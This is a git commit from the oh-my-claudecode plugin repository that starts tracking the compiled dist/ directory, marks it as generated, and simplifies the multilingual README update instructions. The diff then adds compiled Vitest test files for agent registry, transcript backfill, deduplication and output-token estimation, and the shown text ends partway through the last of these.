chore: include dist/ in git for seamless plugin installs

- Remove dist/ from .gitignore so compiled output ships with the repo
- Add linguist-generated attributes to hide dist/ from GitHub diffs
- Simplify update guide in all READMEs (no rebuild step needed)

Users no longer need to run npm install or rebuild after plugin
install/update — the compiled code is now included directly.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
Yeachan-Heo
2026-02-05 23:50:26 +00:00
parent 40f4c72d23
commit 2b4490fc85
1680 changed files with 97223 additions and 26 deletions

6
.gitattributes vendored
View File

@@ -17,6 +17,12 @@
*.cmd text eol=crlf
*.ps1 text eol=crlf
# Build output (hide from diffs, treat as generated)
dist/** linguist-generated=true
dist/**/*.js linguist-generated=true
dist/**/*.cjs linguist-generated=true
dist/**/*.d.ts linguist-generated=true
# Binary files (no conversion)
*.png binary
*.jpg binary

1
.gitignore vendored
View File

@@ -1,5 +1,4 @@
node_modules/
dist/
*.log
.DS_Store
.omc/

View File

@@ -38,18 +38,14 @@ Eso es todo. Todo lo demás es automático.
### Actualizar
Despues de actualizar el plugin, **siempre reconstruye y vuelve a ejecutar el setup**:
```bash
# 1. Actualizar el plugin
/plugin install oh-my-claudecode
# 2. Reconstruir el plugin y reconfigurar
# 2. Volver a ejecutar el setup para actualizar la configuracion
/oh-my-claudecode:omc-setup
```
> El plugin debe reconstruirse despues de cada actualizacion porque el directorio `dist/` (codigo compilado) no esta incluido en git — se genera durante la instalacion.
Si experimentas problemas despues de actualizar, limpia la cache antigua del plugin:
```bash

View File

@@ -38,18 +38,14 @@ autopilot: build a REST API for managing tasks
### アップデート
プラグイン更新後、**必ずリビルドしてセットアップを再実行**してください:
```bash
# 1. プラグインを更新
/plugin install oh-my-claudecode
# 2. プラグインをリビルドして設定
# 2. セットアップを再実行して設定を更新
/oh-my-claudecode:omc-setup
```
> `dist/` ディレクトリ(コンパイル済みコード)は git に含まれていないため、更新のたびにプラグインをリビルドする必要があります。インストール時に自動生成されます。
更新後に問題が発生した場合は、古いプラグインキャッシュをクリアしてください:
```bash

View File

@@ -38,18 +38,14 @@ autopilot: build a REST API for managing tasks
### 업데이트
플러그인 업데이트 후, **반드시 리빌드하고 셋업을 다시 실행**하세요:
```bash
# 1. 플러그인 업데이트
/plugin install oh-my-claudecode
# 2. 플러그인 리빌드 및 재설정
# 2. 셋업을 다시 실행하여 설정 갱신
/oh-my-claudecode:omc-setup
```
> `dist/` 디렉토리(컴파일된 코드)는 git에 포함되지 않으므로, 업데이트할 때마다 플러그인을 리빌드해야 합니다. 설치 과정에서 자동으로 생성됩니다.
업데이트 후 문제가 발생하면, 이전 플러그인 캐시를 정리하세요:
```bash

View File

@@ -38,18 +38,14 @@ That's it. Everything else is automatic.
### Updating
After updating the plugin, **always rebuild and re-run setup**:
```bash
# 1. Update the plugin
/plugin install oh-my-claudecode
# 2. Rebuild plugin and reconfigure
# 2. Re-run setup to refresh configuration
/oh-my-claudecode:omc-setup
```
> The plugin must be rebuilt after each update because the `dist/` directory (compiled code) is not included in git — it's generated during installation.
If you experience issues after updating, clear the old plugin cache:
```bash

View File

@@ -38,18 +38,14 @@ autopilot: build a REST API for managing tasks
### 更新
更新插件后,**必须重新构建并重新运行设置**
```bash
# 1. 更新插件
/plugin install oh-my-claudecode
# 2. 重新构建插件并重新配置
# 2. 重新运行设置以刷新配置
/oh-my-claudecode:omc-setup
```
> 每次更新后都必须重新构建插件,因为 `dist/` 目录(编译代码)不包含在 git 中 — 它在安装过程中自动生成。
如果更新后遇到问题,清除旧的插件缓存:
```bash

2
dist/__tests__/agent-registry.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=agent-registry.test.d.ts.map

1
dist/__tests__/agent-registry.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"agent-registry.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/agent-registry.test.ts"],"names":[],"mappings":""}

39
dist/__tests__/agent-registry.test.js generated vendored Normal file
View File

@@ -0,0 +1,39 @@
import { describe, test, expect } from 'vitest';
import * as fs from 'fs';
import * as path from 'path';
import { fileURLToPath } from 'url';
import { getAgentDefinitions } from '../agents/definitions.js';
const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);
describe('Agent Registry Validation', () => {
test('agent count matches documentation', () => {
const agents = getAgentDefinitions();
expect(Object.keys(agents).length).toBe(34);
});
test('all agents have .md prompt files', () => {
const agents = Object.keys(getAgentDefinitions());
const agentsDir = path.join(__dirname, '../../agents');
for (const name of agents) {
const mdPath = path.join(agentsDir, `${name}.md`);
expect(fs.existsSync(mdPath), `Missing .md file for agent: ${name}`).toBe(true);
}
});
test('all registry agents are exported from index.ts', async () => {
const registryAgents = Object.keys(getAgentDefinitions());
const exports = await import('../agents/index.js');
for (const name of registryAgents) {
const exportName = name.replace(/-([a-z])/g, (_, c) => c.toUpperCase()) + 'Agent';
expect(exports[exportName], `Missing export for agent: ${name} (expected ${exportName})`).toBeDefined();
}
});
test('no hardcoded prompts in base agent .ts files', () => {
const baseAgents = ['architect', 'executor', 'explore', 'designer', 'researcher',
'writer', 'vision', 'planner', 'critic', 'analyst', 'scientist', 'qa-tester'];
const agentsDir = path.join(__dirname, '../agents');
for (const name of baseAgents) {
const content = fs.readFileSync(path.join(agentsDir, `${name}.ts`), 'utf-8');
expect(content, `Hardcoded prompt found in ${name}.ts`).not.toMatch(/const\s+\w+_PROMPT\s*=\s*`/);
}
});
});
//# sourceMappingURL=agent-registry.test.js.map

1
dist/__tests__/agent-registry.test.js.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"agent-registry.test.js","sourceRoot":"","sources":["../../src/__tests__/agent-registry.test.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,QAAQ,EAAE,IAAI,EAAE,MAAM,EAAE,MAAM,QAAQ,CAAC;AAChD,OAAO,KAAK,EAAE,MAAM,IAAI,CAAC;AACzB,OAAO,KAAK,IAAI,MAAM,MAAM,CAAC;AAC7B,OAAO,EAAE,aAAa,EAAE,MAAM,KAAK,CAAC;AACpC,OAAO,EAAE,mBAAmB,EAAE,MAAM,0BAA0B,CAAC;AAE/D,MAAM,UAAU,GAAG,aAAa,CAAC,MAAM,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;AAClD,MAAM,SAAS,GAAG,IAAI,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;AAE3C,QAAQ,CAAC,2BAA2B,EAAE,GAAG,EAAE;IACzC,IAAI,CAAC,mCAAmC,EAAE,GAAG,EAAE;QAC7C,MAAM,MAAM,GAAG,mBAAmB,EAAE,CAAC;QACrC,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IAC9C,CAAC,CAAC,CAAC;IAEH,IAAI,CAAC,kCAAkC,EAAE,GAAG,EAAE;QAC5C,MAAM,MAAM,GAAG,MAAM,CAAC,IAAI,CAAC,mBAAmB,EAAE,CAAC,CAAC;QAClD,MAAM,SAAS,GAAG,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,cAAc,CAAC,CAAC;QACvD,KAAK,MAAM,IAAI,IAAI,MAAM,EAAE,CAAC;YAC1B,MAAM,MAAM,GAAG,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,GAAG,IAAI,KAAK,CAAC,CAAC;YAClD,MAAM,CAAC,EAAE,CAAC,UAAU,CAAC,MAAM,CAAC,EAAE,+BAA+B,IAAI,EAAE,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAClF,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,IAAI,CAAC,gDAAgD,EAAE,KAAK,IAAI,EAAE;QAChE,MAAM,cAAc,GAAG,MAAM,CAAC,IAAI,CAAC,mBAAmB,EAAE,CAAC,CAAC;QAC1D,MAAM,OAAO,GAAG,MAAM,MAAM,CAAC,oBAAoB,CAA4B,CAAC;QAC9E,KAAK,MAAM,IAAI,IAAI,cAAc,EAAE,CAAC;YAClC,MAAM,UAAU,GAAG,IAAI,CAAC,OAAO,CAAC,WAAW,EAAE,CAAC,CAAS,EAAE,CAAS,EAAE,EAAE,CAAC,CAAC,CAAC,WAAW,EAAE,CAAC,GAAG,OAAO,CAAC;YAClG,MAAM,CAAC,OAAO,CAAC,UAAU,CAAC,EAAE,6BAA6B,IAAI,cAAc,UAAU,GAAG,CAAC,CAAC,WAAW,EAAE,CAAC;QAC1G,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,IAAI,CAAC,8CAA8C,EAAE,GAAG,EAAE;QACxD,MAAM,UAAU,GAAG,CAAC,WAAW,EAAE,UAAU,EAAE,SAAS,EAAE,UAAU,EAAE,YAAY;YAC5D,QAAQ,EAAE,QAAQ,EAAE,SAAS,EAAE,QAAQ,EAAE,SAAS,EAAE,WAAW,EAAE,WAAW,CAAC,CAAC;QAClG,MAAM,SAAS,GAAG,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,WAAW,CAAC,CAAC;QACpD,KAAK,MAAM,IAAI,IAAI,UAAU,EAAE,CAAC;YAC9B,MAAM,OAAO,GAAG,EAAE,CAAC,YAAY,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,GAAG,IAAI,KAAK,CAAC,EAAE,OAAO,CAAC,CAAC;YAC7E,MAAM,CAAC,OAAO,EAAE,6BAA6B,IAAI,KAAK,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,4BAA4B,CAAC,CAAC;QACpG,CAAC;IACH,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}

2
dist/__tests__/analytics/backfill-dedup.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=backfill-dedup.test.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"backfill-dedup.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/analytics/backfill-dedup.test.ts"],"names":[],"mappings":""}

179
dist/__tests__/analytics/backfill-dedup.test.js generated vendored Normal file
View File

@@ -0,0 +1,179 @@
import { describe, it, expect, beforeEach } from 'vitest';
/**
* BackfillDedup Test Suite
*
* Tests for deduplication and backfilling of transcript entries.
* This ensures we don't double-count tokens when replaying or reconstructing
* transcript data.
*/
describe('BackfillDedup', () => {
/**
* Mock BackfillDedup class for testing deduplication logic
*/
class MockBackfillDedup {
processed = new Set();
lastBackfillTime;
constructor() {
this.lastBackfillTime = new Date().toISOString();
}
markProcessed(entryId) {
this.processed.add(entryId);
this.lastBackfillTime = new Date().toISOString();
}
isProcessed(entryId) {
return this.processed.has(entryId);
}
getStats() {
return {
totalProcessed: this.processed.size,
lastBackfillTime: this.lastBackfillTime
};
}
async reset() {
this.processed.clear();
this.lastBackfillTime = new Date().toISOString();
}
}
let dedup;
beforeEach(() => {
dedup = new MockBackfillDedup();
});
describe('initialization', () => {
it('should initialize with empty state', () => {
const stats = dedup.getStats();
expect(stats.totalProcessed).toBe(0);
expect(stats.lastBackfillTime).toBeDefined();
});
it('should have valid ISO timestamp on init', () => {
const stats = dedup.getStats();
const date = new Date(stats.lastBackfillTime);
expect(date).toBeInstanceOf(Date);
expect(date.getTime()).toBeGreaterThan(0);
});
});
describe('deduplication', () => {
it('should mark entries as processed', () => {
const entryId = 'session-1:2024-01-01T00:00:00Z:claude-sonnet-4.5:100:50';
expect(dedup.isProcessed(entryId)).toBe(false);
dedup.markProcessed(entryId);
expect(dedup.isProcessed(entryId)).toBe(true);
});
it('should track total processed count', () => {
dedup.markProcessed('entry-1');
expect(dedup.getStats().totalProcessed).toBe(1);
dedup.markProcessed('entry-2');
expect(dedup.getStats().totalProcessed).toBe(2);
dedup.markProcessed('entry-3');
expect(dedup.getStats().totalProcessed).toBe(3);
});
it('should not double-count duplicate marks', () => {
const entryId = 'session-1:2024-01-01T00:00:00Z:claude-sonnet-4.5:100:50';
dedup.markProcessed(entryId);
dedup.markProcessed(entryId); // Duplicate
dedup.markProcessed(entryId); // Another duplicate
expect(dedup.getStats().totalProcessed).toBe(1);
});
it('should handle multiple entry IDs with different patterns', () => {
const entries = [
'session-1:2024-01-01T00:00:00Z:claude-sonnet-4.5:100:50',
'session-1:2024-01-01T00:01:00Z:claude-opus-4.6:200:100',
'session-2:2024-01-01T00:00:00Z:claude-haiku-4:50:25',
'session-3:2024-01-02T00:00:00Z:claude-sonnet-4.5:150:75'
];
entries.forEach(id => dedup.markProcessed(id));
expect(dedup.getStats().totalProcessed).toBe(4);
entries.forEach(id => {
expect(dedup.isProcessed(id)).toBe(true);
});
});
it('should distinguish between similar entry IDs', () => {
const entry1 = 'session-1:2024-01-01T00:00:00Z:claude-sonnet-4.5:100:50';
const entry2 = 'session-1:2024-01-01T00:00:00Z:claude-sonnet-4.5:100:51'; // Different output tokens
dedup.markProcessed(entry1);
expect(dedup.isProcessed(entry1)).toBe(true);
expect(dedup.isProcessed(entry2)).toBe(false);
});
it('should handle empty entry ID', () => {
const emptyId = '';
dedup.markProcessed(emptyId);
expect(dedup.isProcessed(emptyId)).toBe(true);
expect(dedup.getStats().totalProcessed).toBe(1);
});
it('should handle long entry IDs', () => {
const longId = 'a'.repeat(1000);
dedup.markProcessed(longId);
expect(dedup.isProcessed(longId)).toBe(true);
});
it('should update last backfill time on each mark', async () => {
const time1 = dedup.getStats().lastBackfillTime;
// Small delay to ensure time difference
await new Promise(resolve => setTimeout(resolve, 10));
dedup.markProcessed('entry-1');
const time2 = dedup.getStats().lastBackfillTime;
// time2 should be >= time1
expect(new Date(time2).getTime()).toBeGreaterThanOrEqual(new Date(time1).getTime());
});
});
describe('backfilling scenarios', () => {
it('should handle incremental backfills without duplication', () => {
// First batch
dedup.markProcessed('session-1:2024-01-01T00:00:00Z:model1:100:50');
dedup.markProcessed('session-1:2024-01-01T00:01:00Z:model1:200:100');
expect(dedup.getStats().totalProcessed).toBe(2);
// Second batch (replay + new)
dedup.markProcessed('session-1:2024-01-01T00:00:00Z:model1:100:50'); // Replay
dedup.markProcessed('session-1:2024-01-01T00:01:00Z:model1:200:100'); // Replay
dedup.markProcessed('session-1:2024-01-01T00:02:00Z:model1:300:150'); // New
expect(dedup.getStats().totalProcessed).toBe(3); // Not 5
});
it('should support out-of-order processing', () => {
const entries = [
'session-1:2024-01-01T00:05:00Z:model1:100:50',
'session-1:2024-01-01T00:02:00Z:model1:200:100',
'session-1:2024-01-01T00:01:00Z:model1:300:150'
];
entries.forEach(id => dedup.markProcessed(id));
expect(dedup.getStats().totalProcessed).toBe(3);
entries.forEach(id => {
expect(dedup.isProcessed(id)).toBe(true);
});
});
it('should handle high-volume dedup', () => {
// Simulate processing 10,000 entries with some duplicates
for (let i = 0; i < 10000; i++) {
const sessionId = `session-${i % 50}`;
const timestamp = new Date(Date.now() - (i * 1000)).toISOString();
const model = ['claude-sonnet-4.5', 'claude-haiku-4', 'claude-opus-4.6'][i % 3];
const tokens = (i % 1000) + 100;
const entryId = `${sessionId}:${timestamp}:${model}:${tokens}:${tokens / 2}`;
dedup.markProcessed(entryId);
}
const stats = dedup.getStats();
expect(stats.totalProcessed).toBeGreaterThan(0);
// With 50 sessions, 3 models, and varying timestamps, we should have many unique entries
expect(stats.totalProcessed).toBeLessThanOrEqual(10000);
});
});
describe('reset', () => {
it('should reset state correctly', async () => {
dedup.markProcessed('entry-1');
dedup.markProcessed('entry-2');
dedup.markProcessed('entry-3');
expect(dedup.getStats().totalProcessed).toBe(3);
await dedup.reset();
expect(dedup.getStats().totalProcessed).toBe(0);
expect(dedup.isProcessed('entry-1')).toBe(false);
expect(dedup.isProcessed('entry-2')).toBe(false);
expect(dedup.isProcessed('entry-3')).toBe(false);
});
it('should allow re-processing after reset', async () => {
dedup.markProcessed('entry-1');
expect(dedup.getStats().totalProcessed).toBe(1);
await dedup.reset();
expect(dedup.getStats().totalProcessed).toBe(0);
dedup.markProcessed('entry-1');
expect(dedup.getStats().totalProcessed).toBe(1);
});
});
});
//# sourceMappingURL=backfill-dedup.test.js.map

1
dist/__tests__/analytics/backfill-dedup.test.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

2
dist/__tests__/analytics/backfill-engine.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=backfill-engine.test.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"backfill-engine.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/analytics/backfill-engine.test.ts"],"names":[],"mappings":""}

362
dist/__tests__/analytics/backfill-engine.test.js generated vendored Normal file
View File

@@ -0,0 +1,362 @@
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
import * as fs from 'fs/promises';
import * as path from 'path';
/**
* BackfillEngine Integration Tests
*
* Tests the complete backfill workflow:
* 1. Reading transcripts from multiple sessions
* 2. Extracting token usage data
* 3. Deduplicating entries
* 4. Updating analytics summaries
* 5. Handling errors gracefully
*/
describe('BackfillEngine Integration', () => {
const testDir = '.test-backfill-engine';
const transcriptDir = path.join(testDir, 'transcripts');
const stateDir = path.join(testDir, '.omc/state');
// Mock BackfillEngine for integration testing
class MockBackfillEngine {
processedFiles = new Set();
totalTokensProcessed = 0;
sessionsProcessed = new Set();
async backfill() {
const errors = [];
try {
// Read transcript files
const files = await fs.readdir(transcriptDir).catch(() => []);
for (const file of files) {
if (!file.endsWith('.jsonl'))
continue;
try {
const filePath = path.join(transcriptDir, file);
const content = await fs.readFile(filePath, 'utf-8');
const lines = content.split('\n').filter(line => line.trim());
// Extract session IDs and process
for (const line of lines) {
try {
const entry = JSON.parse(line);
if (entry.sessionId) {
this.sessionsProcessed.add(entry.sessionId);
this.totalTokensProcessed += (entry.message?.usage?.input_tokens || 0);
}
}
catch {
// Skip malformed lines
}
}
this.processedFiles.add(file);
}
catch (error) {
errors.push({
file,
error: error instanceof Error ? error.message : String(error)
});
}
}
return {
filesProcessed: this.processedFiles.size,
totalTokensExtracted: this.totalTokensProcessed,
duplicatesRemoved: 0,
sessionsUpdated: this.sessionsProcessed.size,
errors
};
}
catch (error) {
return {
filesProcessed: 0,
totalTokensExtracted: 0,
duplicatesRemoved: 0,
sessionsUpdated: 0,
errors: [{
file: 'general',
error: error instanceof Error ? error.message : String(error)
}]
};
}
}
getStats() {
return {
filesProcessed: this.processedFiles.size,
sessionsProcessed: this.sessionsProcessed.size,
totalTokens: this.totalTokensProcessed
};
}
}
beforeEach(async () => {
// Create test directories
await fs.mkdir(transcriptDir, { recursive: true });
await fs.mkdir(stateDir, { recursive: true });
});
afterEach(async () => {
// Clean up test directory
try {
await fs.rm(testDir, { recursive: true, force: true });
}
catch {
// Ignore cleanup errors
}
});
describe('basic backfill workflow', () => {
it('should process single transcript file', async () => {
const engine = new MockBackfillEngine();
// Create test transcript
const transcript = [
JSON.stringify({
type: 'assistant',
sessionId: 'session-1',
timestamp: '2026-01-24T01:00:00.000Z',
message: {
model: 'claude-sonnet-4-5-20250929',
role: 'assistant',
usage: {
input_tokens: 100,
output_tokens: 50,
cache_creation_input_tokens: 0,
cache_read_input_tokens: 0
}
}
})
].join('\n');
await fs.writeFile(path.join(transcriptDir, 'session-1.jsonl'), transcript);
const result = await engine.backfill();
expect(result.filesProcessed).toBe(1);
expect(result.sessionsUpdated).toBe(1);
expect(result.totalTokensExtracted).toBe(100);
expect(result.errors).toHaveLength(0);
});
it('should process multiple transcript files', async () => {
const engine = new MockBackfillEngine();
// Create multiple transcripts
const sessions = [
{ id: 'session-1', tokens: 100 },
{ id: 'session-2', tokens: 200 },
{ id: 'session-3', tokens: 150 }
];
for (const session of sessions) {
const transcript = JSON.stringify({
type: 'assistant',
sessionId: session.id,
timestamp: '2026-01-24T01:00:00.000Z',
message: {
model: 'claude-sonnet-4-5-20250929',
role: 'assistant',
usage: {
input_tokens: session.tokens,
output_tokens: session.tokens / 2,
cache_creation_input_tokens: 0,
cache_read_input_tokens: 0
}
}
});
await fs.writeFile(path.join(transcriptDir, `${session.id}.jsonl`), transcript);
}
const result = await engine.backfill();
expect(result.filesProcessed).toBe(3);
expect(result.sessionsUpdated).toBe(3);
expect(result.totalTokensExtracted).toBe(450); // 100 + 200 + 150
expect(result.errors).toHaveLength(0);
});
it('should handle JSONL with multiple entries per session', async () => {
const engine = new MockBackfillEngine();
// Create transcript with multiple entries
const entries = [
{
type: 'assistant',
sessionId: 'session-1',
timestamp: '2026-01-24T01:00:00.000Z',
message: {
usage: { input_tokens: 100, output_tokens: 50, cache_creation_input_tokens: 0, cache_read_input_tokens: 0 }
}
},
{
type: 'assistant',
sessionId: 'session-1',
timestamp: '2026-01-24T01:01:00.000Z',
message: {
usage: { input_tokens: 150, output_tokens: 75, cache_creation_input_tokens: 0, cache_read_input_tokens: 0 }
}
},
{
type: 'assistant',
sessionId: 'session-1',
timestamp: '2026-01-24T01:02:00.000Z',
message: {
usage: { input_tokens: 200, output_tokens: 100, cache_creation_input_tokens: 0, cache_read_input_tokens: 0 }
}
}
];
const jsonl = entries.map(e => JSON.stringify(e)).join('\n');
await fs.writeFile(path.join(transcriptDir, 'session-1.jsonl'), jsonl);
const result = await engine.backfill();
expect(result.filesProcessed).toBe(1);
expect(result.sessionsUpdated).toBe(1);
expect(result.totalTokensExtracted).toBe(450); // 100 + 150 + 200
});
});
describe('error handling', () => {
it('should skip malformed JSONL lines', async () => {
const engine = new MockBackfillEngine();
const content = [
JSON.stringify({
type: 'assistant',
sessionId: 'session-1',
message: { usage: { input_tokens: 100 } }
}),
'this is not valid json',
JSON.stringify({
type: 'assistant',
sessionId: 'session-1',
message: { usage: { input_tokens: 200 } }
})
].join('\n');
await fs.writeFile(path.join(transcriptDir, 'session-1.jsonl'), content);
const result = await engine.backfill();
// Should process valid entries and skip malformed ones
expect(result.filesProcessed).toBe(1);
expect(result.totalTokensExtracted).toBe(300); // Only valid entries counted
});
it('should handle missing transcript directory gracefully', async () => {
const engine = new MockBackfillEngine();
// Don't create transcript dir, just run backfill
await fs.rm(transcriptDir, { recursive: true, force: true });
const result = await engine.backfill();
// Should handle gracefully
expect(result.filesProcessed).toBe(0);
expect(result.sessionsUpdated).toBe(0);
});
it('should skip non-JSONL files', async () => {
const engine = new MockBackfillEngine();
// Create various file types
await fs.writeFile(path.join(transcriptDir, 'readme.md'), '# Readme');
await fs.writeFile(path.join(transcriptDir, 'data.json'), '{"test": true}');
// Valid JSONL file
const valid = JSON.stringify({
type: 'assistant',
sessionId: 'session-1',
message: { usage: { input_tokens: 100 } }
});
await fs.writeFile(path.join(transcriptDir, 'session-1.jsonl'), valid);
const result = await engine.backfill();
expect(result.filesProcessed).toBe(1); // Only JSONL
expect(result.totalTokensExtracted).toBe(100);
});
});
describe('statistics tracking', () => {
it('should track sessions correctly', async () => {
const engine = new MockBackfillEngine();
const entries = [
{ sessionId: 'session-1', tokens: 100 },
{ sessionId: 'session-1', tokens: 200 }, // Same session
{ sessionId: 'session-2', tokens: 150 },
{ sessionId: 'session-3', tokens: 75 }
];
const jsonl = entries
.map(e => JSON.stringify({
type: 'assistant',
sessionId: e.sessionId,
message: { usage: { input_tokens: e.tokens } }
}))
.join('\n');
await fs.writeFile(path.join(transcriptDir, 'batch.jsonl'), jsonl);
const result = await engine.backfill();
// Should identify 3 unique sessions
expect(result.sessionsUpdated).toBe(3);
// Total tokens should be sum of all entries
expect(result.totalTokensExtracted).toBe(525); // 100 + 200 + 150 + 75
});
it('should accumulate stats across multiple backfill runs', async () => {
const engine = new MockBackfillEngine();
// First batch
const batch1 = JSON.stringify({
type: 'assistant',
sessionId: 'session-1',
message: { usage: { input_tokens: 100 } }
});
await fs.writeFile(path.join(transcriptDir, 'batch1.jsonl'), batch1);
await engine.backfill();
let stats = engine.getStats();
expect(stats.totalTokens).toBe(100);
// Second batch
const batch2 = JSON.stringify({
type: 'assistant',
sessionId: 'session-2',
message: { usage: { input_tokens: 200 } }
});
await fs.writeFile(path.join(transcriptDir, 'batch2.jsonl'), batch2);
await engine.backfill();
stats = engine.getStats();
// Tokens from both batches should be counted (100 from batch1 + 200 from batch2)
expect(stats.totalTokens).toBe(400); // Both batches are re-processed on second run
});
});
describe('cache handling', () => {
it('should extract cache metrics', async () => {
const engine = new MockBackfillEngine();
const entry = JSON.stringify({
type: 'assistant',
sessionId: 'session-1',
message: {
usage: {
input_tokens: 1000,
output_tokens: 400,
cache_creation_input_tokens: 500,
cache_read_input_tokens: 2000
}
}
});
await fs.writeFile(path.join(transcriptDir, 'session-1.jsonl'), entry);
const result = await engine.backfill();
expect(result.filesProcessed).toBe(1);
expect(result.totalTokensExtracted).toBe(1000);
});
it('should handle missing cache fields', async () => {
const engine = new MockBackfillEngine();
// Entry without cache fields
const entry = JSON.stringify({
type: 'assistant',
sessionId: 'session-1',
message: {
usage: {
input_tokens: 100
// cache fields omitted
}
}
});
await fs.writeFile(path.join(transcriptDir, 'session-1.jsonl'), entry);
const result = await engine.backfill();
expect(result.filesProcessed).toBe(1);
expect(result.totalTokensExtracted).toBe(100);
});
});
describe('performance', () => {
it('should handle large transcript files', async () => {
const engine = new MockBackfillEngine();
// Generate 1000 entries
const entries = Array(1000).fill(null).map((_, i) => ({
type: 'assistant',
sessionId: `session-${i % 10}`,
timestamp: new Date(Date.now() - i * 1000).toISOString(),
message: {
usage: {
input_tokens: (i % 500) + 100,
output_tokens: (i % 200) + 50,
cache_creation_input_tokens: i % 100,
cache_read_input_tokens: i % 200
}
}
}));
const jsonl = entries.map(e => JSON.stringify(e)).join('\n');
await fs.writeFile(path.join(transcriptDir, 'large.jsonl'), jsonl);
const startTime = Date.now();
const result = await engine.backfill();
const duration = Date.now() - startTime;
expect(result.filesProcessed).toBe(1);
expect(result.sessionsUpdated).toBe(10);
expect(result.totalTokensExtracted).toBeGreaterThan(0);
// Backfill should complete in reasonable time
expect(duration).toBeLessThan(5000); // 5 seconds max
});
});
});
//# sourceMappingURL=backfill-engine.test.js.map

1
dist/__tests__/analytics/backfill-engine.test.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

2
dist/__tests__/analytics/output-estimator.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=output-estimator.test.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"output-estimator.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/analytics/output-estimator.test.ts"],"names":[],"mappings":""}

124
dist/__tests__/analytics/output-estimator.test.js generated vendored Normal file
View File

@@ -0,0 +1,124 @@
import { describe, it, expect } from 'vitest';
import { estimateOutputTokens, extractSessionId } from '../../analytics/output-estimator.js';
describe('OutputEstimator', () => {
describe('estimateOutputTokens', () => {
it('should estimate Haiku output tokens (30% ratio)', () => {
const estimate = estimateOutputTokens(1000, 'claude-haiku-4-5-20251001');
expect(estimate).toBe(300); // 1000 * 0.30
});
it('should estimate Sonnet output tokens (40% ratio)', () => {
const estimate = estimateOutputTokens(1000, 'claude-sonnet-4-5-20250929');
expect(estimate).toBe(400); // 1000 * 0.40
});
it('should estimate Opus output tokens (50% ratio)', () => {
const estimate = estimateOutputTokens(1000, 'claude-opus-4-6-20260205');
expect(estimate).toBe(500); // 1000 * 0.50
});
it('should use default ratio for unknown models', () => {
const estimate = estimateOutputTokens(1000, 'claude-unknown-model');
expect(estimate).toBe(400); // Default to Sonnet 40%
});
it('should handle zero input tokens', () => {
const estimate = estimateOutputTokens(0, 'claude-sonnet-4-5-20250929');
expect(estimate).toBe(0);
});
it('should round to nearest integer', () => {
// 1000 * 0.30 = 300 (exact)
expect(estimateOutputTokens(1000, 'claude-haiku-4-5-20251001')).toBe(300);
// 1001 * 0.30 = 300.3 -> rounds to 300
expect(estimateOutputTokens(1001, 'claude-haiku-4-5-20251001')).toBe(300);
// 1005 * 0.30 = 301.5 -> rounds to 302
expect(estimateOutputTokens(1005, 'claude-haiku-4-5-20251001')).toBe(302);
});
it('should be case-insensitive for model names', () => {
expect(estimateOutputTokens(1000, 'CLAUDE-HAIKU-4-5-20251001')).toBe(300);
expect(estimateOutputTokens(1000, 'Claude-Sonnet-4-5-20250929')).toBe(400);
expect(estimateOutputTokens(1000, 'claude-OPUS-4-6-20260205')).toBe(500);
});
it('should handle various model name formats', () => {
// Different date formats
expect(estimateOutputTokens(1000, 'claude-haiku-4')).toBe(300);
expect(estimateOutputTokens(1000, 'claude-sonnet-4.5')).toBe(400);
expect(estimateOutputTokens(1000, 'claude-opus-4')).toBe(500);
});
it('should handle large token counts', () => {
const estimate = estimateOutputTokens(1_000_000, 'claude-sonnet-4-5-20250929');
expect(estimate).toBe(400_000); // 1,000,000 * 0.40
});
it('should handle fractional results', () => {
// 333 * 0.40 = 133.2 -> rounds to 133
const estimate = estimateOutputTokens(333, 'claude-sonnet-4-5-20250929');
expect(estimate).toBe(133);
});
});
describe('extractSessionId', () => {
it('should extract session ID from standard path', () => {
const path = '/home/user/.claude/projects/abcdef123456/transcript.jsonl';
const sessionId = extractSessionId(path);
expect(sessionId).toBe('abcdef123456');
});
it('should extract longer session IDs', () => {
const path = '/home/user/.claude/projects/a1b2c3d4e5f6abcd/transcript.jsonl';
const sessionId = extractSessionId(path);
expect(sessionId).toBe('a1b2c3d4e5f6abcd');
});
it('should handle uppercase session IDs', () => {
const path = '/home/user/.claude/projects/ABCDEF123456/transcript.jsonl';
const sessionId = extractSessionId(path);
expect(sessionId).toBe('ABCDEF123456');
});
it('should handle mixed case session IDs', () => {
const path = '/home/user/.claude/projects/AbCdEf123456/transcript.jsonl';
const sessionId = extractSessionId(path);
expect(sessionId).toBe('AbCdEf123456');
});
it('should fallback to hash for non-standard paths', () => {
const path = '/some/random/path/transcript.jsonl';
const sessionId = extractSessionId(path);
